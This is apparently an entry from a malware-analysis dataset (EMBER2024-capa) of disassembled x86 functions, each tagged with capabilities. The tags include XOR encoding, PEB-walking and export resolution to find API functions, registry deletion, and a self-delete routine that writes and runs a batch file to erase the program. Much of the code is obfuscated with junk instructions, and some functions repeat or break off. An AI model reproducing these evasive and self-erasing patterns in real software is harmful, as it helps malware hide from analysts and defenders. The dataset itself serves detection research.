joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f2d6
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1000f2f8
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000f49a
cmp edi, dword [ebp + 0x10]
jb 0x1000f49a
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1000edc2
inc edi
jmp 0x1000f381
jmp 0x1000f38e
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000edc2
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000edc2
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000f3e2
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000f3c6
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000f410
add dword [eax], 0x39
jle 0x1000f3ec
sub al, 0xf5
mov ch, al
call fcn.1000f425
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x100110fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x10011113
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x10011124
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.10011165
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x100134d1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1001341a
add ebx, 0
push ecx
call 0x1001342f
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6cff4379
sub ebx, dword [0x6d013bb8]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6d013ba8
call fcn.1000eef9
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1000e407
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1001358d
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1001358d
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10013544
mov eax, 1
lock xchg dword [0x6d013bb4], eax
push 0x3dd1fc71
call 0x100134d1
push esi
add esp, 8
cmp eax, 0
jne 0x100134ba
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100134e0
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100134f5
cmp ecx, edx
cmp eax, 0
je 0x1001351a
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x10013504
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.10013533
dec eax
loope 0x10013536
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6d013bb4], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1001356a
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1001357f
jmp 0x1001358a
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x10013478
Function at 0x1001a5f2
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1001a8c8
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6d00082c
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6cff77f2
push 0xffffffffffffffff
call fcn.100117f2
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1001a65c
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1001a674
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1001a8bc
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1001a890
Function at 0x1002a0c2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1002a0e4
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1002a0e4
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1002a0e4
ret
cmp word [ebx + 4], 0x14c
jne 0x1002a0e4
test word [ebx + 0x16], 2
je 0x1002a0e4
test word [ebx + 0x16], 0x100
je 0x1002a0e4
cmp word [ebx + 0x18], 0x10b
jne 0x1002a0e4
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1002a0e4
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1002a170
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1002a104
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001104f
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1002a0e4
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1002a170
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1002a0e4
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1002a0e4
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1002a0e4
ret
cmp word [ebx + 4], 0x14c
jne 0x1002a0e4
test word [ebx + 0x16], 2
je 0x1002a0e4
test word [ebx + 0x16], 0x100
je 0x1002a0e4
cmp word [ebx + 0x18], 0x10b
jne 0x1002a0e4
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1002a0e4
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1002a170
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1002a104
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001104f
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1002a0e4
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1002a227
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002a280
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1002a227
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1002a236
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042fed9
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1002a287
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100110fd
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1002a326
add edi, 4
add eax, 2
dec ecx
jne 0x1002a26c
call 0x1002a2d3
loope 0x1002a2c9
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1002a323
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1002a334
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002a2e7
cmp eax, ecx
ja 0x1002a2e7
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1002a371
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002a367
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.100115dc
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1002a236
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002a280
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1002a227
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1002a236
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042fed9
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1002a287
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100110fd
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1002a326
add edi, 4
add eax, 2
dec ecx
jne 0x1002a26c
call 0x1002a2d3
loope 0x1002a2c9
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1002a323
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1002a334
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002a2e7
cmp eax, ecx
ja 0x1002a2e7
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1002a371
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002a367
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.100115dc
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x403280
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452119
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x46d2f0]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x260], 0x46fc38
mov dword [0x46fc74], 0xf
mov dword [0x46fc70], 0
mov byte [0x46fc60], 0
mov dword [ebp - 4], 0
push 0x46fc3c
mov dword [0x46fc54], 0x465df8
mov dword [0x46fc58], 0x465e00
mov dword [0x46fc5c], 0x465e08
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x208
lea eax, [ebp - 0x224]
push 0
push eax
call fcn.00438850
add esp, 0xc
lea eax, [ebp - 0x224]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403340
sub ecx, edx
sar ecx, 1
inc ecx
cmp ecx, 0x3fffffff
jg 0x403390
lea edi, [ecx + ecx]
mov eax, edi
call fcn.00435db0
mov esi, esp
mov dword [ebp - 0x10], esp
test esi, esi
je 0x403390
push 0
push 0
push edi
push esi
push 0xffffffffffffffff
lea eax, [ebp - 0x224]
mov byte [esi], 0
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor ecx, ecx
test eax, eax
cmove esi, ecx
jmp 0x403392
xor esi, esi
mov dword [ebp - 0x228], 0xf
mov dword [ebp - 0x22c], 0
mov byte [ebp - 0x23c], 0
cmp byte [esi], 0
jne 0x4033b6
xor ecx, ecx
jmp 0x4033c9
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4033c0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x23c]
call fcn.004021d0
push 0xb
push str.chatpptlog
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 2
call fcn.004024f0
cmp dword [ebp - 0x228], 0x10
lea eax, [ebp - 0x23c]
cmovae eax, dword [ebp - 0x23c]
push eax
call fcn.0044187d
mov ecx, str.chatpptloguninstall.log
lea edx, [ebp - 0x23c]
test ebx, ebx
mov eax, str.chatpptlogsetup.log
cmovne eax, ecx
lea ecx, [ebp - 0x254]
push eax
call fcn.00403690
add esp, 8
mov esi, 0x46fc60
mov ecx, esi
push eax
call fcn.004035e0
lea ecx, [ebp - 0x254]
call fcn.004020d0
cmp dword [0x46fc74], 0x10
push 0x465e50
cmovae esi, dword [0x46fc60]
push esi
call fcn.0043e4df
add esp, 8
mov dword [0x46fc38], eax
test eax, eax
jne 0x403482
push 0x46aa24
lea eax, [ebp - 0x258]
mov dword [ebp - 0x258], 0x465e54
push eax
call fcn.004393a2
lea ecx, [ebp - 0x23c]
call fcn.004020d0
mov eax, 0x46fc38
lea esp, [ebp - 0x274]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00435232
mov esp, ebp
pop ebp
ret 4
Function at 0x4034e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452158
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x46d2f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebp + 8]
lea eax, [ebx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp byte [esi], 0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
jne 0x403535
xor ecx, ecx
jmp 0x403549
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403540
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.004021d0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
cmp edx, 0x10
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
cmovae eax, esi
cmp byte [eax + edi - 1], 0xa
je 0x403588
push 0xa
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402400
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x2c]
push dword [ebx]
lea eax, [edi + 1]
cmp edx, 0x10
push eax
lea ecx, [ebp - 0x2c]
cmovae ecx, esi
push 1
push ecx
call fcn.00441825
push dword [ebx]
call fcn.00441594
add esp, 0x14
lea eax, [ebx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [ebp - 0x2c]
call fcn.004020d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00435232
mov esp, ebp
pop ebp
ret 4
Function at 0x403bf0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452210
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x46d2f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x48], 7
mov dword [ebp - 0x4c], 0
mov word [ebp - 0x5c], ax
cmp word [edx], ax
je 0x403c4f
mov eax, edx
lea esi, [eax + 2]
nop word [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403c40
sub eax, esi
sar eax, 1
push eax
push edx
lea ecx, [ebp - 0x5c]
call fcn.00401430
push 1
sub esp, 8
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x5c]
call fcn.00403f20
mov esi, eax
cmp esi, 0xffffffff
jne 0x403c7b
xor esi, esi
jmp 0x403d1b
push esi
push 0
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00401c90
push 0xffffffffffffffff
lea eax, [esi + 1]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00401c90
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push eax
call fcn.00403980
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
neg eax
sbb esi, esi
mov eax, dword [ebp - 0x18]
inc esi
cmp eax, 8
jb 0x403cde
inc eax
lea ecx, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
call fcn.004013d0
xor eax, eax
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
cmp eax, 8
jb 0x403d07
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.004013d0
xor eax, eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], ax
mov ecx, dword [ebp - 0x48]
cmp ecx, 8
jb 0x403d30
inc ecx
push ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x5c]
call fcn.004013d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00435232
mov esp, ebp
pop ebp
ret 4
Function at 0x403d50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45224b
mov eax, dword fs:[0]
push eax
mov eax, 0x1028
call fcn.00436160
mov eax, dword [0x46d2f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1010]
mov edi, dword [ebp + 0xc]
push 0x1000
push 0
push eax
mov dword [ebp - 0x102c], 0x800
call fcn.00438850
xor eax, eax
mov dword [ebp - 0x1014], 7
mov dword [ebp - 0x1018], 0
mov word [ebp - 0x1028], ax
add esp, 8
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1028]
push eax
push esi
lea eax, [ebp - 0x1030]
push eax
call fcn.004037b0
test eax, eax
je 0x403e56
cmp dword [ebp - 0x1014], 8
lea ecx, [ebp - 0x102c]
push ecx
lea ecx, [ebp - 0x1010]
push ecx
lea ecx, [ebp - 0x1034]
push ecx
lea eax, [ebp - 0x1028]
cmovae eax, dword [ebp - 0x1028]
push 0
push eax
push dword [ebp - 0x1030]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x403e56
cmp word [ebp - 0x1010], ax
jne 0x403e28
xor ecx, ecx
jmp 0x403e40
lea ecx, [ebp - 0x1010]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403e31
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x1010]
mov ecx, edi
push eax
call fcn.00401430
mov esi, 1
jmp 0x403e58
xor esi, esi
mov ecx, dword [ebp - 0x1014]
cmp ecx, 8
jb 0x403e76
inc ecx
push ecx
push dword [ebp - 0x1028]
lea ecx, [ebp - 0x1028]
call fcn.004013d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00435232
mov esp, ebp
pop ebp
ret 8

Function at 0x404130
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x404149
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x404186
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x404182
nop word [eax + eax]
cmp esi, edx
jae 0x404186
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x404170
cmp esi, edx
jb 0x40418d
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404220
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x46d2f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x46620c]
movq xmm0, qword [0x466204]
mov dword [ebp - 0xc], eax
movzx eax, word [0x466210]
mov word [ebp - 8], ax
mov eax, dword [0x46622c]
movq qword [ebp - 0x14], xmm0
movups xmm0, xmmword [str.__echo_off_n_del___1__n_del___0]
push esi
mov dword [ebp - 0x1c], eax
movzx eax, word [0x466230]
push edi
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x14]
movups xmmword [ebp - 0x34], xmm0
push 0x466264
movq xmm0, qword [0x466224]
push eax
movq qword [ebp - 0x24], xmm0
call fcn.0043e4df
mov esi, eax
add esp, 8
test esi, esi
je 0x4042aa
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.00403fa0
push esi
call fcn.0043b5cd
add esp, 0xc
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
call fcn.004439fa
push 0
push dword [eax]
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.004439fa
push dword [eax]
lea eax, [ebp - 0x138]
push str.__s_
push eax
call fcn.00401f30
lea ecx, [ebp - 0x138]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404302
sub ecx, edx
lea edi, [ecx + 1]
cmp edi, 0x3fffffff
jg 0x404346
lea eax, [edi + edi]
call fcn.00435db0
mov esi, esp
test esi, esi
je 0x404346
push edi
push esi
xor eax, eax
push 0xffffffffffffffff
mov word [esi], ax
lea eax, [ebp - 0x138]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
neg eax
sbb eax, eax
and eax, esi
jmp 0x404348
xor eax, eax
push 0
push 0
push eax
push str.DeleteBat.bat
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]